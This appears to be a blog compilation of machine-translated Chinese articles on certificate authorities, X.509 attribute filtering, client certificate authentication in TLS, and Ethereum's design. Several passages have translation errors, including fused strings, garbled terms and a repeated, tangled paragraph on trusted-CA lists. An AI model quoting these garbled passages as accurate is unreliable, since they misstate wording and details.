公钥密码可以用来加密双方之间通信的数据.。当用户登录到实现HTTP安全协议的任何站点时,通常会发生这种情况。在这个示例中,让我们假设用户登录了他们银行的主页www.bank.examplesto做在线银行业务。当用户打开www.bank.examplesPage时,他们会收到一个公钥以及他们的web浏览器显示的所有数据。公钥可用于将数据从客户端加密到服务器,但安全过程是将其用于确定临时共享对称加密密钥的协议中;这种密钥交换协议中的消息可以用银行的公钥加密,只有银行服务器具有读取它们的私钥。

接下来的通信使用新的(一次性)对称密钥,因此当用户向银行页面输入一些信息并提交页面(将信息发送回银行)时,用户输入到页面的数据将由他们的Web浏览器加密。因此,即使有人能够访问(加密)从用户传输到www.bank.example的数据,这种窃听者也无法读取或解密它。

只有当用户能够确定他们在Web浏览器中看到的是银行时,这种机制才是安全的。例如,如果用户键入www.bank.example,但是他们的通信被劫持,并且一个假网站(假装是银行网站)将页面信息发送回用户的浏览器,则该虚假网页可以向用户发送假公钥(对于该用户,虚假站点拥有一个匹配的私钥)。使用者会以个人资料填写表格,并提交网页。然后,伪造的网页就可以访问用户的数据了。

这是证书颁发机构机制要防止的。证书颁发机构(CA)是存储公钥及其所有者的组织,通信中的每一方都信任该组织(并知道其公钥)。当用户的Web浏览器从www.bank.example接收公钥时,它还会接收密钥的数字签名(在所谓的X.509证书中提供更多信息)。浏览器已经拥有CA的公钥,因此可以验证签名、信任证书和证书中的公钥:由于www.bank.example使用了由验证局认证的公钥,所以一个伪造的www.bank.example只能使用相同的公钥。由于伪造的www.bank.example不知道相应的私钥,因此无法创建验证其真实性所需的签名。

安全。
在向CA(可能是通过电子网络)提供数据时,以及在同样提供请求证书的人员/公司/程序的凭据时,很难确保数据与实体之间匹配的正确性。这就是商业CA通常使用多种身份验证技术的原因,包括利用政府局、支付基础设施、第三方数据库和服务以及自定义启发式。在一些企业系统中,本地形式的身份验证(如Kerberos)可用于获取证书,而外部依赖方又可以使用证书。在某些情况下,公证员必须亲自了解签名被公证的当事人;这比许多核证机关达到的标准要高。根据美国律师协会(American Bar Association)的“在线交易管理纲要”(Outline On Online Transaction Management),美国联邦和州有关数字签名的法规的主要要点一直是“防止地方法规的冲突和过于繁琐,并确定电子文字符合与纸质文件相关的传统要求”。此外,美国电子签字法规和建议的欧洲自由贸易联盟守则[20]有助于确保:

与此种交易有关的签字、合同或其他记录不得仅仅因为是电子形式而被否定其法律效力、有效性或可执行性;以及。
与此种交易有关的合同不得仅仅因为在其形成过程中使用了电子签字或电子记录而被否定其法律效力、有效性或可执行性。
尽管采取了安全措施来正确核实个人和公司的身份,但有一个单一的CA向冒充者颁发假证书的风险。还可以用相同或非常相似的名称对个人和公司进行登记,这可能导致混淆。为了尽量减少这种危险,证书透明度倡议提议审计公共不可伪造日志中的所有证书,这有助于防止网络钓鱼。[21][22]。

在大规模部署中,alice可能不熟悉Bob的证书颁发机构(可能每个证书都有一个不同的CA服务器),因此Bob的证书还可能包括由不同的CA 2签名的CA的公钥,据推测,Alice可以识别该公钥。此过程通常导致CA和CA证书的层次结构或网格。

权限撤销列表。
授权撤销列表(ARL)是包含颁发给证书颁发机构的证书的证书吊销列表(CRL)的一种形式,与包含已吊销的最终实体证书的CRLS相反。

行业组织。
证书权威安全委员会(CASC)-在2013 2月,CASC成立作为一个行业倡导组织,致力于解决行业问题和教育公众的互联网安全。创始成员是七个最大的证书颁发机构。[23][24]。
通用计算安全标准论坛(CCSF)-在2009成立的共同计算安全标准论坛是为了促进保护最终用户的行业标准。科莫多集团首席执行官MelihAbdulhayoğLu被认为是CCSF的创始人。
CA/Browser论坛-2005成立了一个由证书颁发机构和Web浏览器供应商组成的新联盟,以促进行业标准和互联网安全的基线要求。科莫多集团首席执行官MelihAbdulhayoğLu组织了第一次会议,并被认为是CA/Browser论坛的创始人。[26][27]。
基线要求。
CA /浏览器论坛发布基线要求,[28] CA遵循的政策和技术要求清单。这些是包含在Firefox[29]和Safari的证书存储中的要求。

CA折衷。
如果CA可以被颠覆,那么整个系统的安全性就会丢失,可能会颠覆所有信任受损CA的实体。

例如,假设攻击者EVE成功地获得了一个CA来向她发出一个声称代表Alice的证书。也就是说,证书将公开声明它代表Alice,并且可能包括关于Alice的其他信息。关于Alice的一些信息,比如她的雇主的名字,可能是真的,从而提高了证书的可信度。然而,EVE将拥有与证书相关联的所有重要的私钥。然后,伊芙可以用这个证书向鲍勃发送经过数字签名的电子邮件,诱使鲍勃相信这封电子邮件来自爱丽丝。鲍勃甚至可能用加密的电子邮件来回应,他相信只有爱丽丝才能阅读,而伊芙实际上能够用私钥解密它。

一个像这样的CA颠覆的著名案例发生在2001,当时证书颁发机构威瑞信给一个声称代表微软的人颁发了两份证书。这些证书的名称是“微软公司”,因此它们可以被用来欺骗某人,使他们相信微软软件的更新来自微软,而实际上并不是这样。这个骗局是在2001年初被发现的。微软和威瑞信采取措施限制问题的影响。[31][32]。

在2011份来自科莫多和DigiNotar的欺诈性证书中,[33][34]据称是由伊朗黑客取得的。有证据表明,伪造的DigiNotar证书是在伊朗的一次中间人攻击中使用的。

在2012,人们知道信任波发布了一个从属根证书,用于透明的流量管理(中间人),它实际上允许企业使用从属证书嗅探ssl内部网络流量。

密钥存储。
盗取证书颁发机构私钥的攻击者能够伪造证书,就好像它们是CA一样,而无需持续访问CA的系统。因此,密钥盗窃是证书颁发机构防范的主要风险之一。公开信任的CA几乎总是将其密钥存储在硬件安全模块(HSM)上,该模块允许它们使用密钥对证书进行签名,但通常会阻止使用物理和软件控件提取密钥。CA通常采取进一步的预防措施,将其长期根证书的密钥保存在离线的HSM中,除非需要对较短的中间证书进行签名。存储在在线HSM中的中间证书可以做签署最终实体证书和保持吊销信息最新的日常工作。

CA有时在生成签名密钥时使用密钥仪式,以确保密钥不会被篡改或复制。

可信第三方方案的实现弱点。
当前X.509方案实现方式中的关键弱点是,由特定方信任的任何CA都可以为其选择的任何域颁发证书。这些证书将被信任方接受为有效,不管它们是否合法和授权。[37]这是一个严重的缺点,因为使用X.509和受信任的第三方的最常见技术是https协议。由于所有主要的web浏览器都被分发给他们的最终用户,预先配置了数十个可信CA的列表,这意味着这些预先批准的可信CA中的任何一个都可以为任何域颁发有效的证书。[38]业界对此的反应已经减弱。[39]考虑到浏览器预配置的可信CA列表的内容是由分发或分发的一方独立确定的,因此业界对此的反应是低调的。[39]考虑到浏览器的预配置可信CA列表的内容是由分发方独立确定的,因此,这意味着任何一个预先批准的可信CA都可以为任何域颁发有效证书。导致安装浏览器应用程序时,CA本身实际上什么也做不了。

这个问题是基于DNS的命名实体身份验证(DANE)协议发展的推动力。如果与域名系统安全扩展(DNSSEC)一起采用,DANE将大大减少(甚至完全消除)可信第三方在域的PKI中的角色。

软件。
可以使用各种软件来操作证书颁发机构。一般来说,需要这样的软件来签署证书、维护撤销信息和操作OCSP或CRL服务。一些例子是:
DogTag[40]
EJBCA
gnoMint
OpenCA
OpenSSL, an SSL/TLS library that comes with tools allowing its use as a simple certificate authority
EasyRSA, OpenVPN’s command line CA utilities using OpenSSL.
r509[41]
TinyCA, which is a perl gui on top of some CPAN modules.
XCA[42]
XiPKI,[43] CA and OCSP responder. With SHA3 support, OSGi-based (Java).
Boulder is an automated server that uses the Automated Certificate Management Environment[44] (ACME) protocol.
Windows Server contains a CA as part of Certificate Services for the creation of digital certificates. In Windows Server 2008 and later the CA may be installed as part of Active Directory Certificate Services.
OpenXPKI

Sunday, April 22, 2018 by blast

Certificate Attributes(Oracle)



https://docs.oracle.com/cd/E24191_01/common/tutorials/authz_cert_attributes.html

概述
企业网关可以根据经过身份验证的客户端证书的X.509属性授权对Web服务的访问。
例如,一个简单的Certificate Attributes筛选器可能只授权证书有一个特殊名称(DName)的客户端,该名称包含以下属性:O=Oracle。
换句话说,只有“Oracle”用户有权访问Web服务。

X.509证书由多个字段组成,Subject字段是与本教程最相关的字段之一。它提供证书所属客户端的DName。DName 是X.500目录对象的唯一名称。它由一些称为相对区别名(Relative Distinguished Name,RDN)的属性值——对组成。

下面是一些最常见的RDN及其解释:
CN: CommonName
OU: OrganizationalUnit
O: Organization
L: Locality
S: StateOrProvinceName
C: CountryName

例如,以下是 Enterprise Gateway 提供的sample.p12客户端证书的DName :

CN=Sample Cert, OU=R&D, O=Company Ltd., L=Dublin 4, S=Dublin, C=IE

使用证书属性筛选器,可以基于例如DName 中的“CN”、“OU”或“C”属性来授权客户端。

———

配置
X.509属性表列出了许多针对客户端证书运行的属性检查。
对于每个条目来说,测试证书属性的方式是:只有当所有配置的属性值与客户端证书中的属性值匹配时,检查才会通过。

因此,实际上,在单次属性检查中列出的属性会被同时进行AND检查。

例如,假设以下内容被配置为X.509属性表中的一个条目:

OU=Eng, O=Company Ltd

如果企业网关收到具有以下DNAME的证书,此属性检查将通过,因为所有配置的属性都与证书DNAME中的属性匹配:

CN=User1, OU=Eng, O=Company Ltd, L=D4, S=Dublin, C=IE
CN=User2, OU=Eng, O=Company Ltd, L=D2, S=Dublin, C=IE

但是,如果企业网关收到带有以下DNAME的证书,属性检查将失败,因为DNAME中的属性与所有配置的属性不匹配(即“OU”属性有错误的值):
CN=User1, OU=qa, O=Company Ltd, L=D4, S=Dublin, C=IE

X.509属性表可以包含多个属性检查项。在这种情况下,属性检查(即表中的条目)一起以OR条件执行判断,因此如果任何检查成功,则整个证书属性筛选器都会成功。

总结一下:
- 只有当所有配置的属性值与客户端证书的DNAME中的属性值匹配时,属性检查才会成功。
- 如果X.509属性表中列出的任何属性检查结果为成功,则筛选器将返回成功。

若要配置证书筛选器,请完成下列字段:
Name: 在此输入筛选器的名称。
X.509属性: 若要添加新的X.509属性检查,请单击“添加”按钮。

在AddX.509属性对话框中,输入一个逗号分隔的名称-值对列表,表示X.509属性及其值,例如“OU=dev,O=Company”。新的属性检查将出现在X.509属性表中。可以分别单击“编辑”和“删除”按钮编辑和删除现有条目。

by blast

Client Certificates vs. Server Certificates What’s the Difference?



https://www.websecurity.symantec.com/security-topics/client-certificates-vs-server-certificates
客户或用户身份。
对有些人来说,提及PKI或“客户证书”可能会让人联想到企业保护和完成客户在线交易的形象,然而,在我们的日常生活中,以各种方式都可以找到此类证书;当我们登录VPN时;在ATM上使用银行卡,或使用卡进入建筑物;例如在伦敦市中心使用的Oyster公共交通智能卡中。这些数码证书甚至出现在汽油泵、汽车装配线上的机器人上,甚至出现在我们的护照上。

在欧洲大陆和许多所谓的“新兴国家”,客户证书的使用尤其普遍,政府发放的身份证有多种用途,如缴纳地方税、电费和驾照。原因很简单–客户端证书在确保人们在线安全方面起着至关重要的作用。顾名思义,它们用于识别客户端或用户,向服务器验证客户端,并准确地确定客户端是谁。

客户或用户身份。
加密在传输过程中保护数据。
服务器证书或SSL证书执行与客户端证书非常相似的角色,除了客户端证书用于标识客户端/个人和前者对站点所有者进行身份验证。服务器证书通常颁发给主机名,主机名可以是机器名(如“XYZ-server-01”),也可以是域名(如“www.symantec.com”)。Web浏览器到达服务器,并验证SSL服务器证书的真实性。这告诉用户,他们与网站的互动没有窃听者,而网站正是它声称的样子。这种安全性对于电子商务至关重要,这就是为什么证书现在得到如此广泛的使用。

他们是怎么做到的?实际上,网站操作员通过向具有证书签名请求的证书提供程序申请证书来获得证书。这是一个包含所有基本信息的电子文档:网站名称、联系人电子邮件地址和公司信息。证书提供者在请求上签字,并出示一份公共证书,该证书提供给任何连接到该网站的网络浏览器,关键是向该网络浏览器证明,该供应商向他认为是该网站所有者的人签发了一份证书。但是,在签发证书之前,证书提供者将从公有域名注册机构请求该网站的联系人电子邮件地址,并根据证书请求中提供的电子邮件地址检查发布的地址,确保已关闭信任圈。

此外,您还可以配置网站,以便希望连接的任何用户都需要提供有效的客户端证书、有效的用户名和密码。这通常被称为“双因素认证” - 在这种情况下,“你知道的东西”(密码)和“你有的东西”(证书)。

对于那些在网络上进行交易的人来说,证书意味着匿名的结束,相反,它提供了一个你可以信任的人的保证,他们就是他们所说的那个人。在我们的安全不断受到挑战的网络世界中,这种保证是无价的。

Monday, April 9, 2018 by blast

Client Certificate Authentication (Part 1)



https://blogs.msdn.microsoft.com/kaushal/2015/05/27/client-certificate-authentication-part-1/

SSL/TLS证书通常用于双方的加密和身份验证。在这篇博文中,我将简要地描述客户端证书认证。

客户端证书身份验证是一种基于相互证书的身份验证,客户端向服务器提供其客户端证书以证明其身份。这是SSL握手的一部分(它是可选的)。

在我们继续之前,我们需要了解。

什么是客户证书?
什么是身份验证&为什么我们需要它?

客户证书
客户证书是一个证明X.509系统的数字证书。客户端系统使用它来向远程服务器证明其身份。下面是一个简单的方法来确定证书是否是客户端证书的位置:

在“详细信息”选项卡中,预期用途的证书具有以下文本:
“向远程计算机证明您的身份”
验证证书的增强型密钥用法字段是否将OID设置为(1.3.6.1.5.5.7.3.2)。
以下是客户端证书示例的屏幕截图:

3173.060215_0710_ClientCerti1.png

请参阅RFC 5246

认证和授权
在计算机科学中,身份验证是一种用于证明参与通信的各方身份的机制。它被用于证明“你就是你说的你。”
不要与授权相混淆,授权是用来证明“你被允许执行正在尝试执行的操作”。

有几种类型的认证。以下是在IIS上广泛使用的身份验证列表(顺序不定):

匿名身份验证(无身份验证)
基本认证
客户端证书认证
摘要式身份验证
表单认证
NTLM
Kerberos
智能卡身份验证

注意:由于SSL握手发生在HTTP通信之前,客户端证书身份验证的优先级高于通过HTTP协议进行的任何其他类型的身份验证。
Kerberos,客户端证书认证和智能卡认证是相互认证机制的例子。 身份验证通常用于访问控制,您希望限制对已知用户的访问。 另一方面,授权用于确定授予用户的访问级别/特权。

在Windows上,线程是执行的基本单元。 由用户执行的任何任务由特定账户/身份的上下文中的线程执行。 身份验证是用于确定线程身份的方式之一,其特权将被线程用于执行。

SSL / TLS握手中的客户端证书身份验证

我已经在我的一篇博文中讨论过SSL握手。浏览:
http://blogs.msdn.com/b/kaushal/archive/2013/08/03/ssl-handshake-and-https-bindings-on-iis.aspx

以下是描述SSL / TLS握手的屏幕截图:

6574.060215_0710_ClientCerti2.png

客户端如上图所示发送CLIENT HELLO
在收到CLIENT HELLO后,如果服务器配置为客户端证书认证,则除了上述其他细节外,它还会将作为SERVER HELLO的一部分的专有CA名称和客户端证书请求发送给客户端。
在收到包含客户端证书请求和可分辨CA名称列表的服务器Hello时,客户端将执行以下步骤:
客户端使用SERVER HELLO中提供的CA列表来确定相互信任的CA证书。
该客户将确定由相互信任的证书颁发机构颁发的客户证书。
然后,客户端将向用户展示客户端证书列表,以便他们可以选择要发送给用户的证书。

注意:
在客户端上,客户端证书必须有一个私钥。如果没有的话,则认证被忽略。
如果服务器未在SERVER HELLO中提供专有CA名称列表,则客户端将向用户呈现其有权访问的所有客户端证书。

一经选择,客户回应下列内容中的一个:
1. 包含预主密钥的ClientKeyExchange消息
2. 包含客户端证书的证书消息(不包含私钥)。
3. CertificateVerify消息,该消息用于提供客户端证书的明确验证。此消息仅在发送客户端证书消息时发送。通过使用其私钥对客户端进行身份验证,以签署到目前为止所有消息的哈希。收件人使用签名者的公钥验证签名,从而确保它使用客户端的私钥签名。有关更多详细信息,请参阅RFC 5246。

发布此客户端和服务器使用随机数和预主密钥生成对称密钥(或主密钥),这些密钥将用于加密和解密消息以进一步通信。
两者都回应ChangeCipherSpec表明他们已经完成了这个过程。
SSL握手现在完成,双方拥有可用于加密和解密的主密钥副本。

设计问题
我们知道服务器将可分辨的CA名称列表作为SERVER HELLO的一部分。 RFC永远不会要求区分的CA名称列表应包含根CA或中级CA证书。以下是RFC5246中定义的本节的一部分:

certificate_authorities
可接受的专有名称[X501]列表
certificate_authorities,以DER编码格式表示。这些
专有名称可以为a指定所需的可分辨名称
根CA或下级CA;因此,这个消息可以用来
描述已知的根以及所需的授权空间。如果
certificate_authorities列表是空的,然后客户端可以
发送适当的ClientCertificateType的任何证书,
除非有相反的外部安排

请参阅以下博客文章以获取有关根证书和中级CA证书的信息:
http://blogs.msdn.com/b/kaushal/archive/2013/01/10/self-signed-root-ca-and-intermediate-ca-certificates.aspx

这可能会导致一些问题,即少数系统需要根CA,而很少需要中间CA出现在SERVER HELLO中发送的列表中。这使通信方在某些场合不兼容。

这两个实现都是有争议的。一方面,服务器发送的列表不能超过一定的限制(在窗口上的大小是12,228字节)。如果超过,认证将失败。中级CA的列表总是超过根CA的列表2-3倍甚至更高。这是某些系统在“可分辨CA名称”列表中发送根CA的原因之一。另一方面,中间CA名称可以在用户提供的客户端证书中随时获得,因此在证书链验证过程中可以更轻松地使用中间CA名称,因此有些系统比以前更喜欢这一点。两者都有其优点。

我个人遇到的一个例子是Apple的Safari浏览器与IIS 7或更高版本上托管的站点进行通信,这需要客户端证书进行身份验证。 Safari期望在SERVER HELLO中列出中级CA的列表。另一方面,IIS只在该列表中发送根CA.结果,身份验证失败,因为客户端无法向服务器提供客户端证书。

解决上述问题的方法是将IIS配置为不在SERVER HELLO中发送任何CA列表。为了实现这一点,请遵循以下支持文章中描述的方法3:
https://support.microsoft.com/en-us/kb/933430/

上面的文章要求您添加一个注册表项SendTrustedIssuerList,它被设置为0。

因此,服务器不会向客户端发送任何列表,但要求它通过客户端证书。客户将出示完整的客户证书列表以供选择,并且会按预期进行。

注意:在Windows Server 2012和Windows 8中,对底层认证过程进行了更改,以便:
不再支持基于CTL的受信任发行者列表管理。
默认情况下发送受信任的颁发者列表的行为已关闭:SendTrustedIssuerList注册表项的默认值现在为0(默认情况下已关闭)而不是1。
保留与以前版本的Windows操作系统的兼容性。
进一步阅读:https://technet.microsoft.com/en-in/library/hh831771.aspx

by blast

Coindesk: UNDERSTANDING ETHEREUM



(机器翻译)

What is Ethereum?

“The next Internet.”
在讨论比特币(分散化的数字货币)和区块链(其分布式全球总账)时,人们经常使用这个词。
然而,这句话的简单性可能会使人产生误解。
虽然“互联网”通常被称为一个单一的结构,但“互联网”是一个网络的协议和规则集,它结合了复杂的通信,合作和业务流程。
同样地,“区块链”,或者公共的、没有许可的区块链协议,可以被看作是可能成为成熟的“价值互联网”的一个更原始的版本。
有一天,这样的公共事业可以提供一个类似的分层架构来扩展信息互联网,或者我们今天所知的互联网,提供各种金融和非金融交易服务。
如果因特网的愿景是将获取信息的权力下放,从而增加获得通信工具的机会,则区块链的愿景是将权力下放,减少在数字世界中建立信任和进行交易的障碍。
Ethereum最早于2014推出,它既是对未来的一种实现,也是对第一个广泛使用的公共区块链——比特币网络的局限性的一种认识。

在该项目的主旨声明中,创建者和发明者Vitalik Buterin用这样的术语描述了ether,他认为比特币的设计并不是作为区块链对传输控制协议(TCP)或因特网协议(IP)的回答,后者是构成互联网基本通信语言的代码。
Buterin写道:“比特币被设计成一种SMTP[简单邮件传输协议]。这是一项非常擅长于一项特定任务的协议,它有利于资金的转移,但它并不是作为任何一种协议的基础层而设计的“。
在评论中,Buterin谈到需要一种更广泛的技术,并以一种强大到可以描述任何可能构建的区块链应用程序的方式复制图灵完整的编程语言的功能。
他说:“ether没有特性,它只是有一种编程语言。”

Vision
或许最好的做法是尝试将比特币分散的全球密码网络中的知识运用到价值交换以外的挑战中。
它并没有在电子商务中排除第三方,而是设想如何消除其他传统的信任仲裁员,从而推动新一轮的应用开发浪潮。
正如前Ethereum CCO Stephan Tual所阐述的,ether的“业务问题”是大多数互联网服务都是集中的。
“你相信你的银行能保证你的钱的安全。
当你上传一张孩子的照片或者把文件推到Dropbox时,Facebook也是如此。
作为一名开发人员,您需要将应用程序提交到应用程序商店,并冒着被删除的风险。“。
图尔解释说。
ether力求在恢复对用户个人数据和资金的控制的同时,建立类似的互联网服务。

在许多区块链平台都只是比特币稍作修改的版本之际,Ethereum在规模上雄心勃勃,它将寻求在以下四个领域实现创新:货币发行。
buterin将Ethereum定位为一个平台,使数千种数字货币能够在同一网络上运行,其目标是建立一个“经济民主”,为慈善事业和其他非宗教性质的社会商品提供更多有价值的资金,即分散的自治组织。
Buterin设想了如何建立新形式的数字实体,以便在一套条款和条件下管理共享资源,这些条款和条件载于守则,并得到利益攸关方集体决定的授权。
他说,可以建立新的合约,而不是通过法律制度强制执行,而是通过程序实施。
财产的定义将随着加密的、基于区块链的 token可以作为现实世界资产的表示(如博物馆通行证或门票)的想法而扩展。

项目起源

在更人类学的层面上,Ethereum可以被视为比特币社区的一个意识形态子集的产物,该群体寻求在网络上构建额外功能,而不创建一个全新的区块链。
他们认为,既然比特币区块链能够安全地安排和记录比特币交易,就没有理由不能对这些比特币进行修改或以其他方式代表其他资产。
在某种意义上,这个社区不想简单地收发货币,而是希望使用比特币来代表商品、衍生品,甚至房地产合约,任何安全、固定的代码单元都可以充当数字资产。
但问题在于,事实证明,比特币的某些有益特性,在转化为代表其他资产的比特币时显得有些怪异。
使用像比特币这样的本地区块链货币,用户只需控制相关的私钥就可以控制他或她的资产。
然而,如果使用彩色比特币代表一种资产,比如一盎司黄金,用户就可以控制该资产的私钥,而无需控制黄金本身。
考虑到这一点,Ethereum团队开始构建自己的区块链和一种新的编程语言,从零开始设计它来创建一台“世界计算机”,其计算能力可以通过开放的用户市场实时访问。
程序可以在Eethum块链上运行,事务用于调解这些程序之间的交互。
正如CTO Gavin Wood的黄纸所解释的那样,任何可以用计算机表示的东西都可以在“以太”上被接受。
尽管Ethereum项目在其早期开发生命周期中会受到批评者的抨击,但截至撰写本文之时,该技术已经提供了充分的证据,证明它正在朝着其雄心勃勃的目标迈进。

里程碑。
2014年1月–以太发明家VitalikButerin在北美比特币大会上宣布了这个项目。
2014年7月,以太基金会开始在一场为期42天的公开拍卖中出售以太代币。该公司以31591 btc的价格售出60,102,216 ether,当时价值18,439,086美元。
2015年7月-Ethereum发布了Frontier,一个用于开发人员测试的命令行版本。
2015年8月,克拉肯成为第一个上市销售的主要数字货币交易所。
包括Coinbase和Gemini在内的主要交易所也效仿。
2016年1月,11家大银行–巴克莱银行、BMO金融集团、瑞士信贷、澳大利亚联邦银行、汇丰银行、纳蒂西斯银行、苏格兰皇家银行、TD银行、瑞银、联合信贷银行和富国银行–宣布对该平台的一个允许版本进行试验。
2016年1月,第一家Ethereum初创公司开始为分散的股票市场和开发工具套件等项目筹集资金。
2016年3月,Ethereum发布了第一个“生产就绪”版的区块链平台Homested。
2016年3月-以太网络上所有以太的总价值超过十亿美元。
2016年5月,DAO成为最大的分散自治组织,收集了价值1.6亿美元的投资于其他项目。
2016年6月–在未知攻击者利用项目代码中的漏洞进行攻击后,DAO崩溃。这一事件迫使Ethereum的开发社区考虑协议级代码更改,以拯救客户资金。

Building Blocks

与互联网一样,Ethereum同样不是一件事,而是许多不同部分的总和。
一个非详尽的组件列表包括密码 token和地址系统、验证器(挖掘器)网络、协商一致算法、块链分类帐、Eethum虚拟机、一组编程语言和复杂的经济结构。
下一节将重点介绍这些特定的组件,并说明每个组件为更大的Ethereum网络提供的功能。

语言学与脚本

在计算机科学中,脚本语言是一种支持脚本的编程语言,或者是为运行时环境设计的程序,用于执行任务和减少对人工操作员的需求。
正因为如此,脚本语言往往最适合用于实验和快速原型开发。
比特币有一种故意使用的基本脚本语言,这是有原因的。
从一开始,比特币的开发者就将通过比特币网络“推动”比特币转移的能力置于所有其他应用程序之上。
虽然人们一直在讨论增加一种功能更强大的脚本语言,以方便应用程序开发,但比特币开发界的观点在很大程度上一直认为,将审查阻力和网络安全置于增加代码功能之上,更为重要。
与此形成鲜明对比的是,Ethereum的目标是“图灵-完成”。
这意味着,如果一个系统拥有无限的资源、内存、计算能力和存储,那么就可以执行无限的“循环”。
换句话说,可能嵌入在Ethereum事务中的逻辑和功能实际上只受到原Ethereum的可用性的限制。
然而,这种功能是以安全性为代价的。
强大的脚本允许更大的功能,但额外的工具也创造了新的潜在的攻击载体。
(见“挑战”)。

交易。

两个区块链之间最显著的差异是Ethereum块既包含一个交易列表,也包含这些交易分类账的最新“状态”。
这是管理两种类型的帐户所必需的特性:·外部拥有的帐户(EOAs)。
EOAs被定义为帐户的基本形式,它与Ethereum区块链上的更新交互并生成更新。·合约。
合约在收到来自EOA的事务形式的指令时以编程方式执行。
合约可以推拉资金,并从其他合约请求这些操作,调用代码来执行动态操作。
Ethereum显然不使用事务输入或输出,这与推广的比特币模型(UTXO)不同。
在比特币的模式中,每一种新铸造的比特币都会成为一种未使用的交易产出,其所有者将保留在以后消费比特币的权利。
在比特币交易中,这些UTXO成为交易中“消费”的输入。
当这些比特币被花费或推给另一个用户时,就会创建一个全新的UTXO。
相比之下,Ethereum使用了一种更熟悉的方法。
它存储其网络的当前“状态”,包括帐户及其相关余额的完整列表。
与其确认事务中使用的UTXO是否有效,Ethereum判断发件人是否拥有可靠的余额,就像银行验证支票是否会结清一样。
当事务包括作为收件人的合约时,此设计功能变得很重要。
如果事务接收方是合约,则该合约的代码将执行,更改该合约的状态,并可能触发其他合约执行代码。

ether区块链

ether和比特币都经营全球交易总帐,如今通过使用工作证明(Pow)协议实现远程和分布式验证,参与者花费大量精力识别独特的数据片段,然后可以很容易地通过更广泛的网络进行验证。
此数据用于生成块或某些有限数量的事务数据,作为所有其他网络参与者的参考。
由此产生的区块链能够在每一个时间间隔内提供网络的历史记录,从而创建一个与事件相关的共享真相。
如今,比特币和Ethereum中的块都是相似的,包含了块号(表示自初始块以来已经传递了多少块)和difculty(一个表示完成创建一个块所需的工作有多大挑战性的度量)等信息。
在比特币网络上,交易脚本是“无状态”的,这意味着在脚本执行之前没有状态,并且在执行后不会保存对此状态的更新。
Ethereum上的合约被认为是“有状态的”,这意味着它们知道存储在网络上的过去的信息,如果通过智能合约进行指示,就可以通过编程在将来采取行动。
当对等点或Ethereum网络的成员接收到数据块时,它们将运行所有事务,以验证表示当时系统状态的数学图。
如果节点能够验证此数据,则它们接受块以包含在块链中。

块大小。
在比特币区块链上,块的大小限制在1MB以内。
这不仅为每秒处理的交易量设定了上限(目前为7),而且在比特币界也成为了争论的焦点,因为它试图增加这一限制。
Ethereum对其区块的大小没有这样的限制。
因为Ethereum执行脚本和合约,这是必要的,因为限制块的大小不仅会阻碍图灵完整性的概念,而且会限制合约可以用来执行的存储量。
Ethereum没有限制其区块的大小,而是采用了一种机制,使合约的执行成本随体积增大而变高。
[见“Gas”一节]。

区块链大小

就像在比特币网络上一样,在Ethereum上执行的事务越多,网络上的所有节点都需要存储更多的信息。
跟踪和存储所有这些事务的需要,反过来,需要从运行区块链的计算机网络中获得资源。
截至2016年5月,Ethereum区块链的大小已增加到大约17 GB。
虽然这与比特币网络的区块链大小相比仍然相形见绌,当时的比特币网络容量还不到69 GB,但值得指出的是,比特币网络已经有了8年多的历史,而17 GB的比特币网络已经运营了9个月。
以平均每月约1GB的速度增长,Ethereum的区块链增长速度比比特币慢,比特币的规模正在以每月约3GB的速度扩张。
然而,Ethereum自其成因块以来就获得了显著的吸引力,并且随着网络的普及,月增长率可能会加快。
虽然这可能会成为一个问题,但Ethereum目前正寻求转向一种新的共识算法,旨在缓解这一问题[参见“利害关系证明”)。

块时间。

在设计阶段,Ethereum团队也热衷于解决他们认为比特币区块链操作中存在的问题或限制。
引起注意的一个问题是,在网络上进行交易以解决针对区块链的交易所需的时间。
比特币的区块链大约每10分钟就会增加新的区块,这意味着交易通常要到此时才能在分类账上得到确认。
在实践中,实际确认可能需要更长的时间,因为使用协议的人通常要等待6个确认或6个块,才能考虑事务的解决。
比特币和电子邮件并不是唯一使用一致方法的区块链或分类账结构。
各种协议都有不同的块时间。
Ripple协议由旧金山初创公司Ripple开发,旨在每隔3到6秒更新一次其状态。
Ethereum已经将目标设定为12秒的块时间,尽管当前的块时间接近14秒.

一致性算法。

要使任何分布式计算系统正常工作,都需要有一种机制,使整个网络能够就其状态达成一致,或者其 token供应如何在网络上的注册地址之间分配。
比特币使用的是所谓的“中本共识”。
真正的比特币背后的关键创新,中本聪的发明解决了一个长期存在的计算机科学问题称为拜占庭容错,或拜占庭将军的问题,即一个人不能相信一个人谁有潜在的动机说谎,一个人不能信任一个给定的通信的完整性,如果它首先通过中介。
比特币通过创建一系列工作证明来解决这个问题。
在区块链上的矿工花费能量解决一个复杂的数学方程,以便在找到下一个“区块”时获得奖励。
由于下一个块总是从前一个块开始(意思是从块的点开始方程),矿工们急于验证这个块是否有效,这样他们就可以快速地找到下一个块并获得奖励。
这是激励兼容性,也是不可变性质的条目在区块链,提供了一个解决拜占庭将军的问题。
尽管未来计划将网络迁移到一个不同的协议,但在撰写本文时,Ethereum使用了一个类似的PoW协议,即eethash。
eethash在很多方面偏离了比特币的“Nakamoto风格”算法,其中最常见的是,它使用不同的密码基元作为散列函数(称为sha-3),而不是sha-256。
虽然这种差别是细微的,但Ethereum的设计目的是让它既能抵抗目前在比特币行业占据主导地位的高性能采矿芯片,又能更容易地被“轻量级”客户端实现访问,使用户无需首先将Ethereum区块链下载到他们的设备就能使用Ethereum。

事务验证器。

Ethereum在交易验证方面也与比特币擦肩而过,无论是目前的状况,还是该网络在未来实施关键变革时打算发挥的作用。
2009,第一批比特币用户能够在家用电脑上使用CPU能力运行采矿软件。
随着比特币变得更有价值,哈希权力竞赛开始了,引领创新者开发出越来越强大的采矿设备。
如今,大多数比特币开采都是在数据中心进行的,主要是由风险投资支持的公司完成的,这些公司控制着设备的生产周期,以及被称为采矿池的单个矿商的协作集合。
为了缓解这种整合,建立了Ethereum采矿,以便它只能与图形处理单元(GPU)一起进行。
网络是无权限的,这意味着任何购买显卡并选择运行Ethereum客户端的人都可以开始处理事务。
然而,如果计划中的转换到一个新的“利害关系证明”共识协议已经完成-挖掘可能不再需要在不久的将来。
[见“挑战”一节]。

ether虚拟机。
Ethereum协议设计的目的远远超过处理对等事务。
它是为执行复杂的代码而设计的,其功能仅受其开发人员的想象和可用资源的限制。
因此,需要一个系统来解释指令,而在Ethereum上,这个任务由Ethereum虚拟机(EVMS)来处理。
SMART合约通过EVM提供便利和强制执行,EVM通过字节码实现和执行用多种语言编写的指令。
